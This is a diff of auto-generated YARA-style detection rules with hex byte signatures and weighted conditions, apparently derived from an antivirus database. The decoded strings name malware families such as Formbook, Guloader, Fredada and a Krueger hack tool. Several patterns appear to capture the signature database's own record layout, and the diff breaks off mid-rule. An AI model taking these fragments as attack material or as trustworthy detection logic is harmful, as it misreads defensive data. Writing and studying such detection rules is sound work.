5f 69 6e 73 74 61 6c 6c 65 72 00 01 00 10 03 ff d6 33 05 90 0a 07 00 68 90 01 04 57 a3 90 00 01 00 0e 01 47 65 74 50 72 6f 63 41 64 64 } //16675 $a_73_1 = {00 19 03 0f b6 51 0c 90 01 02 8b 4d f0 0f b6 1c 01 33 da 90 0a 10 00 8b 4d fc 90 00 01 00 0d 01 46 69 6e 64 4e 65 78 74 46 69 6c 65 57 01 00 0e 01 50 72 6f 63 65 73 73 33 32 4e 65 78 74 57 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 53 53 33 34 21 4d 54 42 00 01 00 24 } //25970 $a_38_2 = {64 62 61 38 65 2d 37 62 32 34 2d 34 32 62 65 2d 61 34 63 36 2d 34 66 37 64 34 65 35 34 38 63 39 32 01 00 17 81 01 51 4c 4b 68 6f 2e 66 72 6d 6d 65 6e 75 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 81 01 53 70 6c 69 74 01 00 0c 81 01 67 65 74 5f 41 73 73 65 } //385 - $a_79_3 = {00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 50 31 32 33 21 4d 54 42 00 01 00 1c 81 01 6b 61 6d 65 6c 73 20 73 65 63 72 65 74 6f 6d 6f 74 6f 72 20 6c 65 70 65 72 64 6f 6d 01 00 0d 81 01 74 72 6f 6b 6c 69 6e 67 65 72 6e 65 73 01 00 15 81 01 70 72 65 6f 6d 69 74 } //25197 - $a_67_4 = {64 65 76 69 6c 68 6f 6f 64 01 00 16 81 01 73 75 62 6c 61 62 69 61 6c 20 70 72 6f 6c 6f 67 75 69 7a 65 72 73 01 00 07 81 01 62 72 6f 64 64 65 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 4e 31 32 33 21 4d 54 42 00 01 00 05 81 01 6f 6c 64 65 6e 01 00 0f 81 01 62 } //26996 + $a_79_3 = {00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4b 30 31 21 4d 54 42 00 01 00 14 81 01 6d 69 6e 69 67 6f 6c 66 20 70 61 72 61 66 72 61 73 65 72 73 01 00 0f 81 01 64 61 74 61 66 6f 72 68 61 6e 64 6c 65 72 65 01 00 11 81 01 6f 70 70 6f 73 69 74 69 } //25197 + $a_6e_4 = {2e 65 78 65 01 00 12 81 01 64 65 6d 69 73 73 69 6f 6e 65 72 20 66 69 78 75 70 73 01 00 10 81 01 73 74 72 64 65 20 6c 67 65 68 6f 6e 6f 72 61 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 55 30 31 21 4d 54 42 00 01 00 1e 81 01 68 61 76 6b } //28271 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25970+(#a_38_2 & 1)*385+(#a_79_3 & 1)*25197+(#a_67_4 & 1)*26996) >=5 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25970+(#a_38_2 & 1)*385+(#a_79_3 & 1)*25197+(#a_6e_4 & 1)*28271) >=5 } -rule _InfrastructureShared_10920{ +rule _InfrastructureShared_11625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 53 53 33 34 21 4d 54 42 00 01 00 24 81 01 65 38 65 64 62 61 38 65 2d 37 62 32 34 2d 34 32 62 65 2d 61 34 63 36 2d 34 66 37 64 34 65 35 34 38 63 39 32 01 00 17 81 01 51 4c 4b 68 6f 2e } //18467 - $a_6d_1 = {6e 75 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 81 01 53 70 6c 69 74 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 50 31 32 33 21 4d 54 42 00 01 00 1c 81 01 6b 61 } //29286 - $a_73_2 = {73 65 63 72 65 74 6f 6d 6f 74 6f 72 20 6c 65 70 65 72 64 6f 6d 01 00 0d 81 01 74 72 6f 6b 6c 69 6e 67 65 72 6e 65 73 01 00 15 81 01 70 72 65 6f 6d 69 74 74 69 6e 67 20 64 65 76 69 6c 68 6f 6f 64 01 00 16 81 01 73 75 62 6c 61 62 69 61 6c 20 70 72 6f 6c 6f 67 75 69 7a 65 72 73 01 00 07 81 01 62 72 6f 64 64 65 72 00 00 78 9e } //25965 - $a_00_3 = {05 00 05 00 21 } //0 - $a_54_4 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 4e 31 32 33 21 4d 54 42 00 01 00 05 81 01 6f 6c 64 65 6e 01 00 0f 81 01 62 65 77 65 6c 74 65 72 20 6b 6f 64 6b 6f 64 01 00 15 81 01 73 6b 61 6c 6d 75 72 65 6e 64 65 73 20 73 61 73 73 61 6e 69 } //18467 + $a_6d_1 = {6e 75 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 81 01 53 70 6c 69 74 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4b 30 31 21 4d 54 42 00 01 00 } //29286 + $a_6d_2 = {6e } //-32492 n + $a_6c_3 = {20 70 61 72 61 66 72 61 73 65 72 73 01 00 0f 81 01 64 61 74 61 66 6f 72 68 61 6e 64 6c 65 72 65 01 00 11 81 01 6f 70 70 6f 73 69 74 69 6f 6e 65 6e 73 2e 65 78 65 01 00 12 81 01 64 65 6d 69 73 73 69 6f 6e 65 72 20 66 69 78 75 70 73 01 00 10 81 01 73 74 72 64 65 20 6c 67 65 68 6f 6e 6f 72 61 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 } //26473 + $a_54_4 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 55 30 31 21 4d 54 42 00 01 00 1e 81 01 68 61 76 6b 72 79 64 73 65 72 20 61 6e 74 69 72 61 63 68 69 74 69 63 20 74 72 69 6d 65 72 01 00 08 81 01 6c 75 6b 6b 65 74 69 64 01 00 11 81 01 74 61 6e 6b } //18467 condition: - ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29286+(#a_73_2 & 1)*25965+(#a_00_3 & 1)*0+(#a_54_4 & 1)*18467) >=5 + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29286+(#a_6d_2 & 1)*-32492+(#a_6c_3 & 1)*26473+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_10921{ +rule _InfrastructureShared_11626{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4b 30 31 21 4d 54 42 00 01 00 14 81 01 6d 69 6e 69 67 6f 6c 66 20 70 61 72 61 66 72 61 73 65 72 73 01 00 0f 81 01 64 61 74 61 66 6f 72 68 61 6e 64 6c 65 72 65 01 00 11 81 01 } //18467 + $a_6f_1 = {69 74 69 6f 6e 65 6e 73 2e 65 78 65 01 00 12 81 01 64 65 6d 69 73 73 69 6f 6e 65 72 20 66 69 78 75 70 73 01 00 10 81 01 73 74 72 64 65 20 6c 67 65 68 6f 6e 6f 72 61 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 55 30 31 21 4d 54 42 00 01 00 1e 81 01 68 61 76 6b 72 79 64 } //28783 + $a_20_2 = {6e 74 69 72 61 63 68 69 74 69 63 20 74 72 69 6d 65 72 01 00 08 81 01 6c 75 6b 6b 65 74 69 64 01 00 11 81 01 74 61 6e 6b 72 65 6e 73 6e 69 6e 67 65 72 6e 65 73 01 00 18 81 01 6f 70 70 69 73 6b 6e 69 6e 67 20 66 6c 61 76 6f 6e 6f 69 64 2e 65 78 65 01 00 0e 81 01 66 6f 72 73 6b 61 6e 73 6e 69 6e 67 65 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 } //25971 + $a_54_3 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 50 31 32 33 21 4d 54 42 00 01 00 1c 81 01 6b 61 6d 65 6c 73 20 73 65 63 72 65 74 6f 6d 6f 74 6f 72 20 6c 65 70 65 72 64 6f 6d 01 00 0d 81 01 74 72 6f 6b 6c 69 6e 67 65 72 6e 65 73 01 00 15 81 } //18467 + $a_65_4 = {6d 69 74 74 69 6e 67 20 64 65 76 69 6c 68 6f 6f 64 01 00 16 81 01 73 75 62 6c 61 62 69 61 6c 20 70 72 6f 6c 6f 67 75 69 7a 65 72 73 01 00 07 81 01 62 72 6f 64 64 65 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 4e 31 32 33 21 4d 54 42 00 01 00 05 81 01 6f 6c 64 65 6e 01 00 } //28673 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28783+(#a_20_2 & 1)*25971+(#a_54_3 & 1)*18467+(#a_65_4 & 1)*28673) >=5 + +} +rule _InfrastructureShared_11627{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 55 30 31 21 4d 54 42 00 01 00 1e 81 01 68 61 76 6b 72 79 64 73 65 72 20 61 6e 74 69 72 61 63 68 69 74 69 63 20 74 72 69 6d 65 72 01 00 08 81 01 6c 75 6b 6b 65 74 69 64 01 00 11 81 01 74 61 6e 6b } //18467 + $a_73_1 = {69 6e 67 65 72 6e 65 73 01 00 18 81 01 6f 70 70 69 73 6b 6e 69 6e 67 20 66 6c 61 76 6f 6e 6f 69 64 2e 65 78 65 01 00 0e 81 01 66 6f 72 73 6b 61 6e 73 6e 69 6e 67 65 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 50 31 32 33 21 4d 54 42 00 01 00 1c 81 01 6b 61 6d } //25970 + $a_20_2 = {65 63 72 65 74 6f 6d 6f 74 6f 72 20 6c 65 70 65 72 64 6f 6d 01 00 0d 81 01 74 72 6f 6b 6c 69 6e 67 65 72 6e 65 73 01 00 15 81 01 70 72 65 6f 6d 69 74 74 69 6e 67 20 64 65 76 69 6c 68 6f 6f 64 01 00 16 81 01 73 75 62 6c 61 62 69 61 6c 20 70 72 6f 6c 6f 67 75 69 7a 65 72 73 01 00 07 81 01 62 72 6f 64 64 65 72 00 00 78 9e 00 00 05 00 05 00 05 00 } //27749 + $a_53_3 = {52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 4e 31 32 33 21 4d 54 42 00 01 00 05 81 01 6f 6c 64 65 6e 01 00 0f 81 01 62 65 77 65 6c 74 65 72 20 6b 6f 64 6b 6f 64 01 00 15 81 01 73 6b 61 6c 6d 75 72 65 } //8993 + $a_73_4 = {73 61 73 73 61 6e 69 64 01 00 1a 81 01 68 79 64 72 6f 62 6f 72 61 63 69 74 65 20 63 72 65 6d 61 74 6f 72 69 75 6d 73 01 00 18 81 01 75 6e 6d 65 74 68 6f 64 69 73 69 6e 67 20 72 65 74 6f 75 63 68 74 78 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 65 6e 63 6f 64 65 } //25710 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25970+(#a_20_2 & 1)*27749+(#a_53_3 & 1)*8993+(#a_73_4 & 1)*25710) >=5 + +} +rule _InfrastructureShared_11628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119495,7 +127380,7 @@ rule _InfrastructureShared_10921{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28673+(#a_62_2 & 1)*-32497+(#a_65_3 & 1)*27749+(#a_73_4 & 1)*21295) >=5 } -rule _InfrastructureShared_10922{ +rule _InfrastructureShared_11629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119508,7 +127393,7 @@ rule _InfrastructureShared_10922{ ((#a_54_0 & 1)*18467+(#a_64_2 & 1)*26625+(#a_4a_3 & 1)*20737+(#a_64_4 & 1)*27757) >=5 } -rule _InfrastructureShared_10923{ +rule _InfrastructureShared_11630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119522,7 +127407,7 @@ rule _InfrastructureShared_10923{ ((#a_46_0 & 1)*21283+(#a_33_1 & 1)*385+(#a_69_2 & 1)*14958+(#a_6c_3 & 1)*24941+(#a_6e_4 & 1)*16897) >=5 } -rule _InfrastructureShared_10924{ +rule _InfrastructureShared_11631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119536,7 +127421,7 @@ rule _InfrastructureShared_10924{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*26730+(#a_69_2 & 1)*14962+(#a_31_3 & 1)*29285+(#a_01_4 & 1)*3535) >=5 } -rule _InfrastructureShared_10925{ +rule _InfrastructureShared_11632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -119552,7 +127437,7 @@ rule _InfrastructureShared_10925{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_9e_6 & 1)*0) >=5 } -rule _InfrastructureShared_10926{ +rule _InfrastructureShared_11633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -119567,7 +127452,7 @@ rule _InfrastructureShared_10926{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*32059+(#a_52_3 & 1)*25603+(#a_72_4 & 1)*28276+(#a_00_5 & 1)*286+(#a_52_6 & 1)*21320) >=5 } -rule _InfrastructureShared_10927{ +rule _InfrastructureShared_11634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -119578,7 +127463,7 @@ rule _InfrastructureShared_10927{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*24977) >=6 } -rule _InfrastructureShared_10928{ +rule _InfrastructureShared_11635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -119591,7 +127476,7 @@ rule _InfrastructureShared_10928{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_63_2 & 1)*13312+(#a_90_3 & 1)*29556) >=6 } -rule _InfrastructureShared_10929{ +rule _InfrastructureShared_11636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -119604,7 +127489,7 @@ rule _InfrastructureShared_10929{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*24947+(#a_30_2 & 1)*27242+(#a_9e_3 & 1)*0) >=6 } -rule _InfrastructureShared_10930{ +rule _InfrastructureShared_11637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -119616,7 +127501,7 @@ rule _InfrastructureShared_10930{ ((#a_6c_0 & 1)*16675+(#a_40_1 & 1)*29793+(#a_3d_3 & 1)*25963) >=6 } -rule _InfrastructureShared_10931{ +rule _InfrastructureShared_11638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -119629,7 +127514,7 @@ rule _InfrastructureShared_10931{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*15737+(#a_00_3 & 1)*6+(#a_54_4 & 1)*21076) >=6 } -rule _InfrastructureShared_10932{ +rule _InfrastructureShared_11639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -119643,7 +127528,7 @@ rule _InfrastructureShared_10932{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27503+(#a_01_3 & 1)*2048+(#a_6f_4 & 1)*21562+(#a_79_5 & 1)*29797) >=6 } -rule _InfrastructureShared_10933{ +rule _InfrastructureShared_11640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -119658,7 +127543,7 @@ rule _InfrastructureShared_10933{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3584+(#a_6e_2 & 1)*28484+(#a_4d_3 & 1)*12851+(#a_00_5 & 1)*105+(#a_73_6 & 1)*21620) >=7 } -rule _InfrastructureShared_10934{ +rule _InfrastructureShared_11641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -119673,7 +127558,7 @@ rule _InfrastructureShared_10934{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*385+(#a_61_3 & 1)*25633+(#a_5c_4 & 1)*23644+(#a_54_5 & 1)*28261+(#a_54_6 & 1)*25927) >=7 } -rule _InfrastructureShared_10935{ +rule _InfrastructureShared_11642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -119686,7 +127571,7 @@ rule _InfrastructureShared_10935{ ((#a_63_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_64_2 & 1)*11628+(#a_2e_3 & 1)*27763) >=8 } -rule _InfrastructureShared_10936{ +rule _InfrastructureShared_11643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -119702,7 +127587,7 @@ rule _InfrastructureShared_10936{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*13876+(#a_79_2 & 1)*29797+(#a_00_3 & 1)*11876+(#a_73_4 & 1)*29545+(#a_00_6 & 1)*11+(#a_3a_7 & 1)*24938) >=8 } -rule _InfrastructureShared_10937{ +rule _InfrastructureShared_11644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 04 00 21 " @@ -119715,7 +127600,7 @@ rule _InfrastructureShared_10937{ ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*31329+(#a_61_2 & 1)*23649+(#a_90_3 & 1)*2060) >=9 } -rule _InfrastructureShared_10938{ +rule _InfrastructureShared_11645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -119726,7 +127611,7 @@ rule _InfrastructureShared_10938{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*16640) >=11 } -rule _InfrastructureShared_10939{ +rule _InfrastructureShared_11646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -119737,7 +127622,7 @@ rule _InfrastructureShared_10939{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28531) >=11 } -rule _InfrastructureShared_10940{ +rule _InfrastructureShared_11647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -119748,7 +127633,7 @@ rule _InfrastructureShared_10940{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*10352) >=12 } -rule _InfrastructureShared_10941{ +rule _InfrastructureShared_11648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -119761,7 +127646,7 @@ rule _InfrastructureShared_10941{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*1025+(#a_00_2 & 1)*144+(#a_65_3 & 1)*384) >=13 } -rule _InfrastructureShared_10942{ +rule _InfrastructureShared_11649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -119774,7 +127659,7 @@ rule _InfrastructureShared_10942{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*29300+(#a_1e_3 & 1)*12800+(#a_04_4 & 1)*-28531) >=14 } -rule _InfrastructureShared_10943{ +rule _InfrastructureShared_11650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -119787,7 +127672,7 @@ rule _InfrastructureShared_10943{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_00_2 & 1)*144+(#a_61_3 & 1)*384) >=16 } -rule _InfrastructureShared_10944{ +rule _InfrastructureShared_11651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -119803,7 +127688,7 @@ rule _InfrastructureShared_10944{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28486+(#a_09_2 & 1)*2564+(#a_53_3 & 1)*-32755+(#a_42_4 & 1)*28265+(#a_4d_5 & 1)*28521+(#a_23_6 & 1)*5) >=16 } -rule _InfrastructureShared_10945{ +rule _InfrastructureShared_11652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -119817,7 +127702,7 @@ rule _InfrastructureShared_10945{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*4096+(#a_69_2 & 1)*24909+(#a_72_3 & 1)*29779+(#a_65_4 & 1)*25973) >=20 } -rule _InfrastructureShared_10946{ +rule _InfrastructureShared_11653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 07 00 21 " @@ -119833,7 +127718,7 @@ rule _InfrastructureShared_10946{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*385+(#a_00_2 & 1)*23+(#a_72_3 & 1)*14930+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=21 } -rule _InfrastructureShared_10947{ +rule _InfrastructureShared_11654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -119847,7 +127732,7 @@ rule _InfrastructureShared_10947{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*31091+(#a_56_2 & 1)*16174+(#a_65_3 & 1)*26994+(#a_76_4 & 1)*22126) >=23 } -rule _InfrastructureShared_10948{ +rule _InfrastructureShared_11655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 05 00 21 " @@ -119856,12 +127741,12 @@ rule _InfrastructureShared_10948{ $a_40_1 = {00 10 01 2e 3f 41 56 43 56 50 72 6f 74 6f 54 6c 73 40 40 05 00 12 01 2e 3f 41 56 43 56 43 72 69 53 65 63 74 69 6f 6e 40 40 05 00 12 01 63 00 61 00 63 00 72 00 74 00 2e 00 70 00 65 00 6d 00 00 } //30789 $a_00_2 = {00 1e 00 1e 00 04 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4b 72 75 65 67 65 72 2e 41 00 0a 00 10 00 0e 37 44 a2 c9 44 06 4c b5 51 f6 01 6e 56 30 76 0a 00 06 00 50 54 62 53 5e 7d 0a 00 0c 00 53 69 50 6f 6c 69 63 79 2e 70 37 62 14 00 49 02 4b 00 72 00 75 00 65 00 67 00 65 00 72 00 2e 00 65 00 78 00 65 00 20 00 2d 00 68 00 90 02 04 66 00 6f 00 72 00 20 00 6d 00 6f 00 72 00 65 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 90 00 00 } //30720 $a_00_3 = {00 28 00 28 00 04 00 21 23 53 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 72 65 64 61 64 61 21 64 68 61 00 14 00 0a 00 48 b8 da da da da ba ba ba ba 14 00 08 00 0f 01 09 80 04 b3 c3 c3 14 00 19 03 0f b7 04 01 3d 4d 5a 00 00 74 12 48 8b 44 90 01 02 48 2d 00 10 00 00 90 00 14 00 37 00 c6 44 24 28 4d c6 44 24 29 6d c6 44 24 2a 47 c6 44 24 2b 65 c6 44 24 2c 74 c6 44 24 2d 53 c6 44 24 2e 79 c6 44 24 2f 73 c6 44 24 30 74 c6 44 24 31 65 c6 44 24 32 6d 00 } //30720 - $a_00_4 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 65 73 74 41 63 63 75 6d 75 6c 61 74 6f 72 00 01 00 78 01 4f 70 46 da e1 8d f6 41 59 e8 5d 26 1e cc 2f 89 26 6d 52 ba bc 11 6b a9 c6 47 e4 9c 1e b6 65 a2 b6 cd 90 47 1c df f8 10 4b d2 7c c4 72 25 c6 97 25 5d c6 1d 4b 36 bc 38 36 33 f8 89 b4 4c 65 a7 96 ca 1b 63 c3 4b 6a 63 dc 85 4c 57 ee 2a 05 c7 0c e7 39 35 8a c1 bf 13 d9 52 51 3d 2e 41 f5 72 85 23 fe a1 aa 53 61 3b 25 5f 62 b4 36 ee 2a 51 af 18 8e 9a c6 cf c4 07 00 } //30720 + $a_00_4 = {00 4b 00 4b 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 75 63 6b 79 2e 4d 52 21 4d 54 42 00 1e 00 1f 01 89 c1 c1 f9 07 8d 8c 09 d2 14 39 00 83 e0 7f 8b 51 02 2b 11 0f b7 d2 f7 ea c1 f8 07 66 03 01 19 00 2a 01 8b 46 04 0f b6 18 89 5e 0c 8b 04 9d 05 43 a7 00 c1 e8 04 8b 04 85 05 53 a7 00 c1 f8 02 66 ab 80 c4 08 c1 e8 04 83 ca ff 29 c2 14 00 20 01 8b 06 0f b6 50 01 0f b6 00 8a 4d 1c fe c6 8b 04 85 05 3b a7 00 d3 ea 19 c9 31 c8 29 c8 3b 55 14 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*30789+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=25 } -rule _InfrastructureShared_10949{ +rule _InfrastructureShared_11656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -119869,25 +127754,37 @@ rule _InfrastructureShared_10949{ $a_63_0 = {54 6f 6f 6c 3a 57 69 6e 36 34 2f 4b 72 75 65 67 65 72 2e 41 00 0a 00 10 00 0e 37 44 a2 c9 44 06 4c b5 51 f6 01 6e 56 30 76 0a 00 06 00 50 54 62 53 5e 7d 0a 00 0c 00 53 69 50 6f 6c 69 63 79 2e 70 37 62 14 00 49 02 4b 00 72 00 75 00 65 00 67 00 65 00 72 00 2e 00 65 00 78 00 65 00 20 00 2d 00 } //18467 $a_02_1 = {04 66 00 6f 00 72 00 20 00 6d 00 6f 00 72 00 65 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 90 00 00 00 78 9e 00 00 28 00 28 00 04 00 21 23 53 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 72 65 64 61 64 61 21 64 68 61 00 14 00 0a 00 48 b8 da da da da ba ba ba ba 14 00 08 00 0f 01 09 80 04 b3 c3 c3 14 00 19 03 0f b7 04 01 3d 4d 5a 00 00 74 12 48 8b 44 90 01 02 48 2d 00 10 00 00 } //104 $a_00_2 = {37 00 c6 44 24 28 4d c6 44 24 29 6d c6 44 24 2a 47 c6 44 24 } //144 - $a_44_3 = {2c 74 c6 44 24 2d 53 c6 44 24 2e 79 c6 44 24 2f 73 c6 44 24 30 74 c6 44 24 31 65 c6 44 24 32 6d 00 00 78 9f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 65 73 74 41 63 63 75 6d 75 6c 61 74 6f 72 00 01 00 78 01 4f 70 46 da e1 8d f6 41 59 e8 5d 26 1e cc 2f 89 26 6d 52 ba bc 11 6b a9 c6 47 e4 9c 1e b6 65 a2 b6 cd 90 47 1c df f8 10 4b d2 7c c4 72 25 c6 97 25 5d c6 1d 4b 36 bc 38 36 33 f8 89 b4 4c 65 a7 96 ca 1b 63 c3 4b 6a 63 dc 85 4c 57 ee 2a 05 c7 0c e7 39 35 8a c1 bf 13 d9 52 51 3d 2e 41 f5 72 85 23 fe a1 aa 53 61 3b 25 5f 62 b4 36 ee 